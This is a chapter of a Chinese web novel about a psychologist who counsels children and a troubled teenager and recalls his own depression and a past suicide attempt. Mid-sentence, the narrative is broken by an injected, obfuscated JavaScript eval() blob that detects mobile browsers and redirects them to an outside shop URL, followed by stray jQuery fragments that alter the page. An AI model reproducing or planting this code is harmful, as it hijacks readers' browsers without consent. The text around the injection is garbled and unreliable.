活动进行到第三天，李见初对陈温的依赖有增无减，几乎成了他的小影子。


    陈温对此并无不耐，反而在安全范围内给予回应，但他同时敏锐地察觉到，那个叫王景行的小男孩，投来的目光越来越频繁，行为也越发明显——总在李见初靠近时，故意制造噪音，或者试图挤到两人中间。


    自由活动时，王景行果然又伺机凑近，伸出手，目标明确地再次袭向陈温的头发。


    这一次，没等陈温反应，一直密切关注着“她的”陈老师的李见初，像只护食的小兽，挡在陈温身前，推开王景行的手：“王景行！不准扯陈老师头发！”


    王景行被推得一个趔趄，看着李见初紧紧护在陈温身前的样子，小脸一下子涨红了，眼睛里迅速积聚起委屈的水光，他狠狠瞪了李见初一眼，转身跑开了。


    陈温将这一切看在眼里，心中了然。


    他安抚地摸李见初的头，感谢她的保护，然后找了个机会，在沙坑边缘找到了独自刨坑、浑身散发着“别惹我”气息的王景行。


    陈温在他身边坐下，也拿起一个小铲子，漫无目的地拨弄沙子。


    过了一会儿，他用只有两个人能听到的音量开口：


    “景行，你好像不太高兴？”


    王景行动作顿了一下，闷头继续挖，不吭声。


    “是因为见初吗？”陈温继续问，没有责备，只是陈述一种可能性，“你扯我头发，是不是想让她注意到你？”


    王景行猛地抬起头，眼里写满了被戳破心思的惊慌和羞恼，拳头攥得紧紧的。


    “喜欢一个人，想和她做朋友，是很正常、也很美好的事情。”陈温看着他，“但是，景行，扯别人头发，或者做其他可能让人不舒服的事情，并不是吸引朋友的好方法。这样可能会让她觉得害怕，或者生气，反而离你更远了。”


    王景行愣住了，呆呆地看着陈温，似乎从没从这个角度想过。


    “你想让见初喜欢你，和你玩，对吗？”陈温问。


    王景行犹豫了一下，很轻地点了点头。


    “那你可以试试别的方法。”陈温引导着，“比如，她搭城堡的时候，递给她一块她需要的积木……用友好的、她能接受的方式去靠近，她才会觉得你是好玩伴，而不是‘捣蛋鬼’。你可以试试看，好吗？”


    王景行低着头，盯着自己沾满沙子的手，很久没说话。


    陈温没有再多说，陪他坐了一会儿，然后起身离开。


    他知道，对于这个年龄的孩子，理解和改变都需要时间。


    但他希望，这颗关于“如何正确表达好感”的种子，能在王景行心里悄悄埋下。


    不远处，李见初正在大声呼唤：“陈老师！快来看我的新城堡！”


    陈温应声走去，余光瞥见沙坑边的王景行，悄悄抬起头，正望向这边，眼神里少了几分敌意，多了些懵懂的思索。


    上完幼儿园的课，陈温回到心理工作室。刚整理好材料不久，预约的来访者便准时到了。


    是一位少年，约莫十五六岁的年纪，个子已经抽高，穿着干净的校服，但眉眼低垂，透着一股与年龄不符的沉重。身后跟着神色忧虑的父母。


    陈温请他们坐下，例行询问基本情况后，他看向少年，问道：“我们接下来的谈话，你希望家长在场旁听，还是更愿意我们单独进行？”


    少年立刻摇头，声音很低但清晰：“单独。”


    陈温点头，转向他的父母，用专业而安抚的语气说：“好的。那么请两位到外面休息区稍作等候，我们会有一个单独的谈话时间。结束后，如果需要，我们可以再一起沟通。”


    父母虽然担心，但还是配合地离开了，带上了咨询室的门。


    房间内安静下来，只剩下空调的风声。


    陈温没有立即坐下，走到窗边，将百叶窗调好角度，让光线变得昏暗。


    他接了两杯温水，一杯放在少年面前的茶几上，一杯留给自己，然后在侧面的单人沙发上坐下，与少年保持着一个不远不近的距离。


    他没有马上抛出问题，而是给予了几秒钟时间，让少年适应这个独立的空间。


    随后，他才用不带评判的语气开始了第一次的接触性提问：


    “谢谢你选择单独和我谈谈。在这里，你说的任何话都会保密，除非涉及你或他人的严重安全。我们可以慢慢来，不用着急。”


    他观察着少年的反应，继续引导：


    “今天来到这里，是你自己的意愿多一些，还是感觉更多是父母希望你来的？”


    “最近，有没有什么特别的事情发生，或者有什么感觉，让你觉得可能需要找个人说说？”


    “如果让你用一个词，或者一种颜色，来形容最近心里最主要的感觉，会是什么呢？”


    他的问题像在平静的湖面投下小小的石子，等待着第一圈涟漪的主动荡漾。


    咨询在一种时而流畅、时而胶着的节奏中进行。


    男生对一般性问题能给出回应，但一旦触及核心情绪或具体事件，便像蚌壳般紧紧闭合，陷入长久的沉默。


    陈温并不急躁，他像一位耐心的考古学家，通过男生零散的叙述、回避的领域，慢慢拼凑出事情的轮廓。


    大约四十分钟后，一个复杂且令人隐隐不安的心理画像逐渐浮现。


    少年承认，他对同班一位男生抱有远超友谊的好感。这份情感强烈、纯粹，却也充满了不被理解和回应的痛苦。


    在试探性的靠近被对方明确拒绝，甚至带有一丝回避和厌烦后，他的世界仿佛瞬间失衡。


    “他不喜欢我……他看我的眼神，像看什么脏东西。”男生盯着地上说。


    接下来的描述，让陈温的神经有些绷紧。


    少年开始产生强烈的代入幻想，并非代入自己，而是代入那个拒绝他的男生。


    他会在脑海中反复模拟“如果我是他，被一个同性这样纠缠、喜欢，该多么恶心、多么困扰、多么想逃离”。


    这种代入并非出于理解或共情，而是自我攻击的极端形式——他通过想象对方的视角，来反复确认和放大自己的行为。


    他因此产生生理性的不适和自我厌恶。


    更令人担忧的是，在这种极端的心理压力下，他确实曾有过一些过激行为。


    “现在呢？”陈温捕捉到一个关键转折，轻声问，“现在对这些感觉，还有对他是什么想法？”


    少年抬起头，眼神有些空洞：“现在？不喜欢了。没感觉了。觉得……挺没意思的。”


    陈温没立刻接话。他察觉到，这种“没感觉”并非真正的释然或走出，更像是一种情感隔离或心理休克。


    巨大的情感挫折和随之而来的剧烈自我攻击，可能让他的心理启动了某种保护机制，暂时将那些无法承受的情绪“冷冻”了起来。


    “能告诉我，从‘非常喜欢’到‘没感觉’，这个变化是怎么发生的吗？”陈温问得更加小心，“是某个时刻突然这样觉得，还是慢慢变成这样的？”


    少年再次沉默，眼神飘向窗外，仿佛在回忆，又仿佛在抗拒回忆。


    陈温心中警铃微作，这个个案远比表面看起来复杂。


    它涉及的领域很广。父母对此一无所知，只看到孩子情绪低落，行为孤僻。


    面对少年复杂的内心世界，陈温深知此刻强行深入并非良策。


    他未多作建议，并再次强调了咨询的保密性与持续的可能性。


    时间将至，他请人先去休息区等候，随后将父母请入室内。


    “我与孩子进行了一次初步交流，”陈温开门见山，“首先请二位理解并放心，我严格遵守保密协定，不会透露他与我沟通的具体内容。这是我们工作的基石。”


    父母神情稍缓，专注聆听。


    “基于今天的评估，我可以提供一些概括性的观察：孩子目前正经历着显著的内心冲突与情绪压力，这在他所处的成长阶段并不少见。他表现出的一些行为，很可能是这种内在困扰的外显，也是一种自我保护的方式。”


    他略去了所有具体细节，用客观的语言描述了问题的性质。


    “现阶段，父母的支持方式至关重要。重点不在于追问根源，而在于提供稳定、非批判性的情感环境。”


    “保持沟通渠道的开放但不过度施压，观察基本生活规律但不过度干预，尽力提供陪伴，这是当前最核心的支持。”


    陈温给出了行动框架，将父母的角色定位为“稳定的后盾”，而非“解决问题的前线”。


    “这个过程需要耐心。如果你们同意，我建议建立规律的咨询节奏，由我继续与他工作。同时，也请你们照顾好自己的情绪，你们的稳定对他而言同样重要。”


    送走这一家，咨询室重归寂静。


    陈温独自坐了片刻，少年的眼神与曾经的自己似乎重合起来。


    当年离开惠城后，陈温像被抽走了脊椎，整个人坍缩进深渊


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17172014|196843||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    里。


    他陷入了彻底的自闭。


    房门是结界，床是唯一的岛屿。


    整天躺在上面，盯着天花板能看一整个白天。


    外界的声音、光线、气味，都成了需要费力抵御的入侵。


    没人能走进他的世界，他自己也找不到出来的路。


    陈林峰给他买了新手机，而旧的那部被他收走了。


    这个行为，抽掉了陈温与外界最后一丝联结。


    陈温没争辩。他连争辩的力气都没有了。


    胃口先一步背叛了他。食物变成一种需要艰难吞咽的负担，味道尝不出，只觉得堵塞。


    吃得越来越少，站起来时眼前常常发黑，世界在眩晕中旋转、褪色。


    身体变得很轻，又很重。


    陈温开始害怕敲门声。每一次叩响，都像重锤砸在他的神经上。


    门打开后，无论是亲戚、旧友，还是父亲请来“看看他”的什么人，他们脸上那种混合着担忧、怜悯、还有好奇的目光，落在他身上，如坐针毡。


    陈温害怕那种“被观看”的处境，更害怕独处时，被打破虚无时，所带来的不安感。


    夜晚变得格外漫长。躺在床上，闭上眼，思绪却清醒得可怕。


    困意成了遥不可及的彼岸。


    男生开始整夜整夜地睁着眼，看着黑暗一点点被窗外的天光稀释。


    陈林峰终于怕了。他试图带陈温去看医生，但陈温只是把脸埋进枕头。


    他不想见任何人，不想被分析，不想被贴上任何标签。


    那颗痣长在眼下，老人说那是泪痣，生来就爱哭的人才有。


    陈温以前不信。现在信了。


    他躺在床上，窗帘没拉，天已经黑了，他没开灯。眼眶酸了很久，终于滚下第一滴泪。


    顺着太阳穴滑进头发里。


    然后第二滴。第三滴。


    哭一会儿停一会儿。像海浪。退了，以为要晴了，又一波涌上来。


    他不知道自己哭什么。委屈？这几年攒了太多，理不清了。后悔？后悔什么呢，是后悔来，还是后悔来晚了。


    还是后悔——当时没出口的话，就逃了。


    可是就算说了，又能怎样。


    后来眼泪慢慢干了。陈温的眼皮涩得像糊了一层胶水。


    他试着再挤一挤，什么都没有了。


    可胸口还是闷，那些东西还在那里，一样都没少。


    但他哭不出来了。


    像一口枯了井。


    死的念头，第一次如此清晰地浮现出来，不是激烈的冲动，而像一条暗沉但诱人的归途。


    他试过一次。


    被及时发现，拦了下来。


    身体没有大碍。


    但陈温自己都觉得奇怪。


    他看着镜子里那个脸色苍白的影子，感到无比陌生。


    我怎么了？


    这不像我。


    可哪个才是“我”？


    是那个曾经会笑、会计划未来的陈温，还是眼前这个连呼吸都觉得费力的空洞躯壳？


    他分不清了。


    他只知道，心里有什么东西，在离开惠城的那一天，就跟着某些人、某些事，一起彻底碎掉了。


    从那段回忆里抽身，陈温像是甩掉一件浸满冰水的衣服。


    他深吸一口气，喝了一口旁边的白开水。


    晚上洗完澡出来，头发还滴着水，手机屏幕亮着，是顾言锐的信息：


    「何绎跟他那位天崩地裂了，后天晚上出来喝酒，陪他祭奠死去的爱情。」


    何绎是他们共同的朋友，职业是美妆博主，在短视频平台颇有人气，也是gay。


    陈温最近忙得脚不沾地，没怎么留意三人群里刷屏的哭诉，只知道何绎和男友关系近期摇摇欲坠，没想到这么快就落了实锤。


    他们仨早年有过约定：谁失恋，另外两个必须无条件陪喝陪哭陪骂街。


    这条约定基本专为何绎设立，顾言锐次之，至于陈温——用何绎的话说：“妈呀，等陈温谈恋爱那天，我得开香槟庆祝人类冰川终于融化，喝酒？喝什么酒，直接摆席！”


    陈温擦着头发，单手打字：「好。地点？」


    对面秒回：「就上次那相亲跟带我们去过的烧烤店。抛开人品不谈，那家的烤牛油和掌中宝是真绝。」


    陈温几乎能透过屏幕看到顾言锐咂嘴的表情，回了两个字母：


    「OK。」